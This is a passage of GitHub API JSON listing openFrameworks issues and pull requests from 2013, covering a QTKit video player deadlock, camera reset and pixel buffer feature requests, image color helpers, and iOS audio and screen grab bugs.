"section-video","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2013-03-06T20:17:49Z","updated_at":"2013-03-06T21:22:22Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"The following code causes a deadlock on the \"delete\" call (calling player->close() causes the same problem) while clearing a large video file (I'm using one that's ~2GB):\r\n```C\r\nofQTKitPlayer *player new ofQTKitPlayer();\r\nplayer->loadMovie(\"a_large_video.mov\", OF_QTKIT_DECODE_TEXTURE_ONLY);\r\n\r\ndelete player;\r\n```\r\n\r\nIt seems to work fine when using OF_QTKIT_DECODE_PIXELS_AND_TEXTURE.\r\n\r\nStack trace is below. The last non-assembly bits are in [QTKitMovieRenderer dealloc]. This is on a iMac i7 OSX 10.8.2.\r\n\r\n> When #0\t0x996e091a in __psynch_mutexwait ()\r\n> #1\t0x93b7c13b in pthread_mutex_lock ()\r\n> #2\t0x9a34e9ec in QTMLGrabMutex ()\r\n> #3\t0x9a38f51d in QTVisualGraphGrabConfiguringMutex ()\r\n> #4\t0x9858e31b in ___lldb_unnamed_function22307$$QuickTimeComponents ()\r\n> #5\t0x955c091f in callComponentStorage_444 ()\r\n> #6\t0x955b1abf in CallComponentFunctionCommonWithStorage(char**, ComponentParameters*, long (*)(), unsigned long) ()\r\n> #7\t0x955b1aff in CallComponentFunctionWithStorageProcInfo ()\r\n> #8\t0x9858ddf6 in BaseVC_ComponentDispatch ()\r\n> #9\t0x9552baee in CallComponent ()\r\n> #10\t0x9552bb65 in DelegateComponentCall ()\r\n> #11\t0x9858e592 in OpenGLTVC_ComponentDispatch ()\r\n> #12\t0x9552baee in CallComponent ()\r\n> #13\t0x9552bb48 in CallComponentDispatch ()\r\n> #14\t0x9a38f755 in QTVCSetImageAvailableCallback ()\r\n> #15\t0x9a38f716 in QTVisualContextSetImageAvailableCallback ()\r\n> #16\t0x00262a6b in -[QTKitMovieRenderer dealloc] at /path/to/project/openframeworks/libs/openFrameworksCompiled/project/osx/../../../openFrameworks/video/ofQTKitMovieRenderer.m:201\r\n> #17\t0x99cf28ff in -[NSObject release] ()\r\n> #18\t0x00260edc in ofQTKitPlayer::close() at /path/to/project/openframeworks/libs/openFrameworksCompiled/project/osx/../../../openFrameworks/video/ofQTKitPlayer.mm:102\r\n> #19\t0x002604b1 in ofQTKitPlayer::~ofQTKitPlayer() at /path/to/project/openframeworks/libs/openFrameworksCompiled/project/osx/../../../openFrameworks/video/ofQTKitPlayer.mm:22\r\n> #20\t0x00260421 in ofQTKitPlayer::~ofQTKitPlayer() at /path/to/project/openframeworks/libs/openFrameworksCompiled/project/osx/../../../openFrameworks/video/ofQTKitPlayer.mm:21"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1914","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1914/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1914/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1914/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1914","id":11629899,"number":1914,"title":"make ofEasyCam::reset() virtual, or allow non-default reset positions","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2013-03-04T17:50:32Z","updated_at":"2013-03-05T09:51:49Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"i want to have the double-click behavior return ofEasyCam to a nonstandard resting position. i thought i could do this by inheriting ofEasyCam and overriding reset(), but it's not a virtual method.\r\n\r\nin the meantime i've done something really terrible in my code. please forgive me.\r\n\r\n````c++\r\n\t\tofVec3f position = getPosition();\r\n\t\tofVec3f basePosition = ofVec3f(0, 0, getDistance());\r\n\t\tif(position == basePosition) {\r\n\t\t\t// reset to a better position\r\n\t\t}\r\n````\r\n\r\nif this function is called by update() or draw() it causes a one-frame flicker where the usual ofEasyCam default position appears for a moment, and then it flips it to the \"correct\" spot.\r\n\r\nin theory the user could move the camera to a spot that causes it to reset, but in practice i think it's very unlikely. regardless, the above solution is \"wrong\" and it would be better to have virtual method or reset position settings."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1913","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1913/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1913/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1913/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1913","id":11622759,"number":1913,"title":"feature: Pixel Buffer Object (PBO)","user":{"login":"tobiasebsen","id":1135364,"avatar_url":"https://secure.gravatar.com/avatar/0084a00a1e20e0607a9f67d2d9b992c0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"0084a00a1e20e0607a9f67d2d9b992c0","url":"https://api.github.com/users/tobiasebsen","html_url":"https://github.com/tobiasebsen","followers_url":"https://api.github.com/users/tobiasebsen/followers","following_url":"https://api.github.com/users/tobiasebsen/following","gists_url":"https://api.github.com/users/tobiasebsen/gists{/gist_id}","starred_url":"https://api.github.com/users/tobiasebsen/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tobiasebsen/subscriptions","organizations_url":"https://api.github.com/users/tobiasebsen/orgs","repos_url":"https://api.github.com/users/tobiasebsen/repos","events_url":"https://api.github.com/users/tobiasebsen/events{/privacy}","received_events_url":"https://api.github.com/users/tobiasebsen/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-2D","name":"section-2D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2013-03-04T15:21:58Z","updated_at":"2013-03-04T16:37:34Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Just want to propose the idea of implementing a pixel buffer object in openFrameworks.\r\nThere are many uses for this - especially if you want to render pixels into vertices - say, using a fragment shader to create points or a mesh.\r\n\r\nThe PBO could be a new ofPbo class or just adding functionality to the existing ofVbo. The main changes would be:\r\n\r\n1. Creating non-initialized buffers (unlike setVertexData, that only allows buffers with copy-data), e.g. allocateVertexData(...), alloacteTexCoordData(...), etc.\r\n2. Reading pixels into the buffers (from framebuffers), e.g. readPixels(...);\r\n\r\nThis is a suggestion open for discussion."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1912","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1912/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1912/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1912/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1912","id":11611280,"number":1912,"title":"added ofPixels::setColor(ofColor) and ofImage::setColor(ofColor)","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2013-03-04T09:32:10Z","updated_at":"2013-03-04T10:21:51Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1912","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1912.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1912.patch"},"body":"example:\r\n\r\n````c++\r\n#include \"ofAppGlutWindow.h\"\r\n#include \"ofMain.h\"\r\n\r\nclass ofApp : public ofBaseApp {\r\npublic:\r\n\tofImage img;\r\n\t\r\n\tvoid setup() {\r\n\t\timg.allocate(ofGetWidth(), ofGetHeight(), OF_IMAGE_COLOR);\r\n\t\timg.update();\r\n\t}\r\n\t\r\n\tvoid update() {\r\n\t\timg.setColor(ofColor::fromHsb(mouseX % 256, mouseY % 256, 255));\r\n\t\timg.update();\r\n\t}\r\n\t\r\n\tvoid draw() {\r\n\t\timg.draw(0, 0);\r\n\t}\r\n};\r\n\r\nint main() {\r\n\tofAppGlutWindow window;\r\n\tofSetupOpenGL(&window, 1280, 720, OF_WINDOW);\r\n\tofRunApp(new ofApp());\r\n}\r\n````"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1911","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1911/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1911/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1911/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1911","id":11610983,"number":1911,"title":"Integrate new oscpack version","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"milestone":null,"comments":7,"created_at":"2013-03-04T09:22:16Z","updated_at":"2013-03-06T09:00:03Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"A new version of oscpack is coming soon (RC1.1 in a couple of days). Integrate it after the new makefile system has landed, it has some fixes relevant for us. See discussion in af9dedb122358b2f856893eee477350facec93c1.\r\n\r\nTODO:\r\n\r\n- [ ] Integrate new oscpack version\r\n- [ ] New API for `SetAllowReuse(true)` (mac only afaik) and `SetEnableBroadcast(true)` \r\n- [ ] Check if #701 is fixed/still occuring\r\n- [ ] Resolve/process/close #1839 \r\n- [ ] See if we can get away with not renaming `posix/UdpSocket.cpp`, `win32/UdpSocket.cpp`, would make future updates more streamlined.\r\n- [ ] might be good to also do #1804 (make bundles optional) while we're at it.\r\n\r\ncf @kylemcdonald @rbencina"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1910","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1910/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1910/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1910/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1910","id":11604963,"number":1910,"title":"feature ofImage::set","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":6,"created_at":"2013-03-04T04:37:24Z","updated_at":"2013-03-04T09:17:40Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"something like:\r\n\r\n````c++\r\nvoid ofImage::set(ofColor color) {\r\n\tfor(int y = 0; y < height; y++) {\r\n\t\tfor(int x = 0; x < width; x++) {\r\n\t\t\tsetColor(x, y, color);\r\n\t\t}\r\n\t}\r\n}\r\n````\r\n\r\nwith a default value of `color = ofColor(0)`.\r\n\r\nthoughts? i find i want to clear ofImages after allocation if i'm drawing into part of the image."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1909","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1909/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1909/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1909/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1909","id":11600513,"number":1909,"title":"Fix iOS antialiased screen grab (#822).","user":{"login":"mcforman","id":3732318,"avatar_url":"https://secure.gravatar.com/avatar/9e0cea385a73e6b61ac0abd388322a95?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"9e0cea385a73e6b61ac0abd388322a95","url":"https://api.github.com/users/mcforman","html_url":"https://github.com/mcforman","followers_url":"https://api.github.com/users/mcforman/followers","following_url":"https://api.github.com/users/mcforman/following","gists_url":"https://api.github.com/users/mcforman/gists{/gist_id}","starred_url":"https://api.github.com/users/mcforman/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mcforman/subscriptions","organizations_url":"https://api.github.com/users/mcforman/orgs","repos_url":"https://api.github.com/users/mcforman/repos","events_url":"https://api.github.com/users/mcforman/events{/privacy}","received_events_url":"https://api.github.com/users/mcforman/received_events","type":"User"},"labels":[],"state":"open","assignee":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"milestone":null,"comments":5,"created_at":"2013-03-03T23:47:59Z","updated_at":"2013-03-09T22:06:27Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1909","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1909.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1909.patch"},"body":"Post-draw GL read-backs now work from antialiased framebuffer, to fix iOS screen grab issues such as with ofxiPhoneScreenGrab() and ofTexture::loadScreenData() (fix #822).\r\n\r\nDone by setting display-mapped 'resolve' buffer (defaultFramebuffer) as the current framebuffer after a draw, rather than the fsaa buffer. The fsaa buffer is set as current again before next draw.\r\n\r\nThis means that any direct GL drawing code executed between update()+draw() cycles won't work, as it'll end up in the wrong framebuffer. *However*, I understand nobody should be doing that - if I'm wrong, well, dump it all!\r\n\r\nTested via ofxiPhoneScreenGrab() on an iPad2 and iPod Touch."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1905","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1905/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1905/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1905/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1905","id":11566128,"number":1905,"title":"Added optional z param to ofVec3f( ofVec2f ) constructor, and swizzles","user":{"login":"SoylentGraham","id":2184197,"avatar_url":"https://secure.gravatar.com/avatar/9c4381dbaf7664c1fd5b198e807bfa16?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"9c4381dbaf7664c1fd5b198e807bfa16","url":"https://api.github.com/users/SoylentGraham","html_url":"https://github.com/SoylentGraham","followers_url":"https://api.github.com/users/SoylentGraham/followers","following_url":"https://api.github.com/users/SoylentGraham/following","gists_url":"https://api.github.com/users/SoylentGraham/gists{/gist_id}","starred_url":"https://api.github.com/users/SoylentGraham/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/SoylentGraham/subscriptions","organizations_url":"https://api.github.com/users/SoylentGraham/orgs","repos_url":"https://api.github.com/users/SoylentGraham/repos","events_url":"https://api.github.com/users/SoylentGraham/events{/privacy}","received_events_url":"https://api.github.com/users/SoylentGraham/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2013-03-01T22:57:48Z","updated_at":"2013-03-08T15:31:32Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1905","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1905.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1905.patch"},"body":"Useful accessors for 3D <-> 2D vector conversion.\r\nThe ofVec2f constructor for ofVec3f now takes a Z too so we can construct a little more simply\r\n ofVec3f World3( GetWorld2(), 100.f );\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1902","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1902/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1902/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1902/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1902","id":11522827,"number":1902,"title":"make install_dependencies.sh more flexible to avoid failing package installs (e.g. jack)","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":9,"created_at":"2013-02-28T22:32:49Z","updated_at":"2013-03-01T13:34:15Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I just had another user having a problem with jack not installing when executing `install_dependencies.sh` on ubuntu 12.04: http://forum.openframeworks.cc/index.php/topic,12136.msg53242.html#msg53242\r\n\r\nIt can easily be solved by a manual install: http://forum.openframeworks.cc/index.php/topic,11392.msg53064.html#msg53064\r\n\r\n@arturoc I'm wondering if there's a way to automate this in the apt-get command (something like \"if jack install fails, install `libjack-jackd2-dev`)?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1900","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1900/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1900/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1900/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1900","id":11505301,"number":1900,"title":"Test-PR - nothing to see here","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2013-02-28T15:36:16Z","updated_at":"2013-02-28T15:36:16Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1900","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1900.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1900.patch"},"body":"this is a test PR for the upcoming code checker. any activity can be ignored. thanks."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1899","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1899/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1899/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1899/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1899","id":11496228,"number":1899,"title":"Several problems with iOS and mp3s","user":{"login":"ronherrema","id":3489924,"avatar_url":"https://secure.gravatar.com/avatar/de90528d6d86a93fc6e657bce64e9370?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"de90528d6d86a93fc6e657bce64e9370","url":"https://api.github.com/users/ronherrema","html_url":"https://github.com/ronherrema","followers_url":"https://api.github.com/users/ronherrema/followers","following_url":"https://api.github.com/users/ronherrema/following","gists_url":"https://api.github.com/users/ronherrema/gists{/gist_id}","starred_url":"https://api.github.com/users/ronherrema/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ronherrema/subscriptions","organizations_url":"https://api.github.com/users/ronherrema/orgs","repos_url":"https://api.github.com/users/ronherrema/repos","events_url":"https://api.github.com/users/ronherrema/events{/privacy}","received_events_url":"https://api.github.com/users/ronherrema/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":11,"created_at":"2013-02-28T11:05:51Z","updated_at":"2013-03-08T15:58:12Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"When I unload one sound and attempt to load another, I get two error messages: first, 'Error enqueuing new buffer: -66632', and then 'more than one mp3 cannot be loaded at the same time'. The first sound stops but the second does not sound. I'm using Xcode 4.5.2 on Mac OS 10.7.5 and am developing for my iPod Touch using iOS 6.0. My code (which I've attempted to use both within the double-tap handler, and on a timed basis within update) looks like this:\r\n\r\nbgMusic.unloadSound(); \r\ngrab.loadSound(\"Grab.mp3\"); \r\ngrab.play(); \r\nofxiPhoneScreenGrab(NULL); \r\ngrab.unloadSound(); \r\nbgMusic.loadSound(\"Music.mp3\"); \r\nbgMusic.play(); "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1884","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1884/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1884/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1884/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1884","id":11324410,"number":1884,"title":"Fedora compile error (misses 